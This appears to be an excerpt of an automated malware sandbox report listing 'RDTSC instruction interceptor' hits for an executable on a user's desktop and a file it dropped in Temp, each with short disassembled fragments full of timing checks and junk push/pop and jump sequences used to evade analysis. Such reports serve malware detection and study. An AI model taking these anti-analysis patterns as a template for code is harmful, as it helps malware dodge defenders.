Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC0651 second address: 4DC0692 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882D0EBF09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b mov edi, esi 0x0000000d mov bx, cx 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F882D0EBF07h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC0692 second address: 4DC0698 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC0698 second address: 4DC0771 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F882D0EBF02h 0x00000008 movzx ecx, di 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, esi 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F882D0EBEFFh 0x00000016 jmp 00007F882D0EBF03h 0x0000001b popfd 0x0000001c popad 0x0000001d lea eax, dword ptr [ebp-04h] 0x00000020 jmp 00007F882D0EBF06h 0x00000025 nop 0x00000026 pushad 0x00000027 jmp 00007F882D0EBEFEh 0x0000002c mov ch, B8h 0x0000002e popad 0x0000002f push eax 0x00000030 jmp 00007F882D0EBEFCh 0x00000035 nop 0x00000036 jmp 00007F882D0EBF00h 0x0000003b push dword ptr [ebp+08h] 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 pushfd 0x00000042 jmp 00007F882D0EBEFDh 0x00000047 sub ch, 00000026h 0x0000004a jmp 00007F882D0EBF01h 0x0000004f popfd 0x00000050 pushfd 0x00000051 jmp 00007F882D0EBF00h 0x00000056 and ecx, 3DD990C8h 0x0000005c jmp 00007F882D0EBEFBh 0x00000061 popfd 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC0771 second address: 4DC0777 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC0777 second address: 4DC077B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC077B second address: 4DC077F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC081D second address: 4DC0821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC0821 second address: 4DC0825 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC0825 second address: 4DC082B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC082B second address: 4DC0839 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC0839 second address: 4DC083D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC083D second address: 4DC0843 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC0843 second address: 4DC0876 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882D0EBF07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F882D0EBF05h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB009E second address: 4DB00B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F882CB47544h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB00B6 second address: 4DB00BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB00BA second address: 4DB0158 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 2Ch 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F882CB4753Dh 0x00000012 adc ecx, 5FE1B6F6h 0x00000018 jmp 00007F882CB47541h 0x0000001d popfd 0x0000001e call 00007F882CB47540h 0x00000023 pushfd 0x00000024 jmp 00007F882CB47542h 0x00000029 add eax, 30DD3748h 0x0000002f jmp 00007F882CB4753Bh 0x00000034 popfd 0x00000035 pop esi 0x00000036 popad 0x00000037 push ebx 0x00000038 pushad 0x00000039 pushfd 0x0000003a jmp 00007F882CB47541h 0x0000003f or ecx, 78AE8C66h 0x00000045 jmp 00007F882CB47541h 0x0000004a popfd 0x0000004b popad 0x0000004c mov dword ptr [esp], ebx 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB0158 second address: 4DB015D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB015D second address: 4DB0163 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB0163 second address: 4DB0167 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB0167 second address: 4DB0186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F882CB47542h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB0186 second address: 4DB018A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB018A second address: 4DB0190 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB0206 second address: 4DB0260 instructions: 0x00000000 rdtsc 0x00000002 mov dl, 45h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 mov al, D6h 0x00000009 call 00007F882D0EBEFBh 0x0000000e pop ecx 0x0000000f popad 0x00000010 popad 0x00000011 mov edi, 00000000h 0x00000016 pushad 0x00000017 mov ch, 6Eh 0x00000019 mov ebx, 08301532h 0x0000001e popad 0x0000001f inc ebx 0x00000020 jmp 00007F882D0EBF09h 0x00000025 test al, al 0x00000027 jmp 00007F882D0EBEFEh 0x0000002c je 00007F882D0EC0F8h 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB0260 second address: 4DB0264 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB0264 second address: 4DB02A8 instructions: 0x00000000 rdtsc 0x00000002 call 00007F882D0EBEFAh 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, edx 0x0000000c popad 0x0000000d lea ecx, dword ptr [ebp-14h] 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F882D0EBF06h 0x00000019 add esi, 5D23BF08h 0x0000001f jmp 00007F882D0EBEFBh 0x00000024 popfd 0x00000025 mov ah, 91h 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB02A8 second address: 4DB02AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB02AD second address: 4DB02BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dl, ch 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-14h], edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB02BF second address: 4DB02C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB02C3 second address: 4DB02C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB02C7 second address: 4DB02CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB02CD second address: 4DB02E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F882D0EBF08h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB03D0 second address: 4DB03F2 instructions: 0x00000000 rdtsc 0x00000002 call 00007F882CB47548h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c movsx edx, si 0x0000000f rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB03F2 second address: 4DB041A instructions: 0x00000000 rdtsc 0x00000002 mov dl, cl 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 js 00007F882D0EBF54h 0x0000000d pushad 0x0000000e mov cl, bh 0x00000010 jmp 00007F882D0EBEFCh 0x00000015 popad 0x00000016 cmp dword ptr [ebp-14h], edi 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push edi 0x0000001d pop ecx 0x0000001e push edx 0x0000001f pop ecx 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB041A second address: 4DB0455 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882CB47542h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F889D8355A1h 0x0000000f pushad 0x00000010 movzx esi, bx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F882CB47549h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB0455 second address: 4DB0478 instructions: 0x00000000 rdtsc 0x00000002 mov dx, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov ebx, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F882D0EBF04h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB0478 second address: 4DB047E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB047E second address: 4DB04A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 45357C93h 0x00000008 movzx esi, bx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e lea eax, dword ptr [ebp-2Ch] 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F882D0EBEFDh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB04A0 second address: 4DB04A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB04A4 second address: 4DB04AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB04AA second address: 4DB0558 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, ax 0x00000006 pushfd 0x00000007 jmp 00007F882CB47546h 0x0000000c and eax, 53F13B78h 0x00000012 jmp 00007F882CB4753Bh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, esi 0x0000001c pushad 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 push ecx 0x00000021 pop edx 0x00000022 popad 0x00000023 popad 0x00000024 push eax 0x00000025 pushad 0x00000026 push ebx 0x00000027 pushfd 0x00000028 jmp 00007F882CB47542h 0x0000002d sbb si, 6508h 0x00000032 jmp 00007F882CB4753Bh 0x00000037 popfd 0x00000038 pop esi 0x00000039 mov si, dx 0x0000003c popad 0x0000003d xchg eax, esi 0x0000003e jmp 00007F882CB4753Bh 0x00000043 nop 0x00000044 jmp 00007F882CB47546h 0x00000049 push eax 0x0000004a jmp 00007F882CB4753Bh 0x0000004f nop 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007F882CB47545h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB0558 second address: 4DB055E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB055E second address: 4DB0562 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB067C second address: 4DA0D85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F882D0EBF07h 0x00000009 and ax, 1B0Eh 0x0000000e jmp 00007F882D0EBF09h 0x00000013 popfd 0x00000014 mov esi, 4ACEE017h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c test esi, esi 0x0000001e jmp 00007F882D0EBEFAh 0x00000023 je 00007F889DDD9E81h 0x00000029 xor eax, eax 0x0000002b jmp 00007F882D0C562Ah 0x00000030 pop esi 0x00000031 pop edi 0x00000032 pop ebx 0x00000033 leave 0x00000034 retn 0004h 0x00000037 nop 0x00000038 xor ebx, ebx 0x0000003a cmp eax, 00000000h 0x0000003d je 00007F882D0EC053h 0x00000043 call 00007F88319FA0D6h 0x00000048 mov edi, edi 0x0000004a jmp 00007F882D0EBF03h 0x0000004f xchg eax, ebp 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 call 00007F882D0EBF02h 0x00000058 pop esi 0x00000059 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DA0D85 second address: 4DA0DB5 instructions: 0x00000000 rdtsc 0x00000002 mov ax, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov bx, 9CA2h 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007F882CB47548h 0x00000012 xchg eax, ebp 0x00000013 pushad 0x00000014 mov al, 61h 0x00000016 push eax 0x00000017 push edx 0x00000018 mov edx, 1673407Ch 0x0000001d rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DA0DB5 second address: 4DA0DDD instructions: 0x00000000 rdtsc 0x00000002 mov bx, E868h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F882D0EBF09h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DA0DDD second address: 4DA0DF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882CB47541h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DA0DF2 second address: 4DA0E23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882D0EBF01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b mov edx, eax 0x0000000d mov edi, ecx 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 movsx edi, cx 0x00000015 mov eax, 7A3A2CB3h 0x0000001a popad 0x0000001b xchg eax, ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov esi, edx 0x00000021 mov cx, di 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DA0E59 second address: 4DA0E69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F882CB4753Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB0B6E second address: 4DB0B73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB0BC8 second address: 4DB0BCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB0BCC second address: 4DB0BE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882D0EBF09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB0BE9 second address: 4DB0BEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB0C7D second address: 4DB0C83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB0C83 second address: 4DB0CD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 jmp 00007F882CB47541h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [ebp-1Ch], esi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F882CB47543h 0x00000019 adc ah, 0000005Eh 0x0000001c jmp 00007F882CB47549h 0x00000021 popfd 0x00000022 pushad 0x00000023 popad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DB0D22 second address: 4DB0D65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882D0EBF01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b jmp 00007F882D0EBEFEh 0x00000010 je 00007F889DDBFB34h 0x00000016 pushad 0x00000017 mov al, C9h 0x00000019 popad 0x0000001a cmp dword ptr [ebp+08h], 00002000h 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F882D0EBEFBh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC0935 second address: 4DC095E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F882CB4753Bh 0x00000008 pop ecx 0x00000009 movsx ebx, cx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], esi 0x00000012 pushad 0x00000013 call 00007F882CB4753Eh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC095E second address: 4DC0980 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 movsx ebx, cx 0x00000008 popad 0x00000009 mov esi, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F882D0EBF02h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC0980 second address: 4DC0984 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC0984 second address: 4DC098A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC098A second address: 4DC0990 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC0990 second address: 4DC09A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC09A0 second address: 4DC09B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882CB4753Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC09B1 second address: 4DC09C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F882D0EBEFCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC09C1 second address: 4DC09C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC09C5 second address: 4DC09DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F889DDB98E0h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F882D0EBEFAh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC09DF second address: 4DC09FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882CB4753Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [75AF459Ch], 05h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 mov bh, ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC09FA second address: 4DC0A28 instructions: 0x00000000 rdtsc 0x00000002 call 00007F882D0EBF07h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c call 00007F882D0EBEFFh 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC0A28 second address: 4DC0A3D instructions: 0x00000000 rdtsc 0x00000002 mov bh, 51h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 je 00007F889D82CF9Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 movsx edx, ax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC0A3D second address: 4DC0A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC0A42 second address: 4DC0A85 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882CB47545h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F882CB4753Ch 0x00000011 jmp 00007F882CB47545h 0x00000016 popfd 0x00000017 push eax 0x00000018 push edx 0x00000019 movzx ecx, bx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC0A85 second address: 4DC0ABD instructions: 0x00000000 rdtsc 0x00000002 call 00007F882D0EBF03h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e mov si, bx 0x00000011 pop edi 0x00000012 call 00007F882D0EBEFCh 0x00000017 movzx esi, bx 0x0000001a pop ebx 0x0000001b popad 0x0000001c xchg eax, esi 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC0ABD second address: 4DC0AC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC0AC1 second address: 4DC0AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC0AF8 second address: 4DC0B1F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882CB47549h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov cx, bx 0x00000010 mov esi, edi 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4960A4 second address: 4960A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
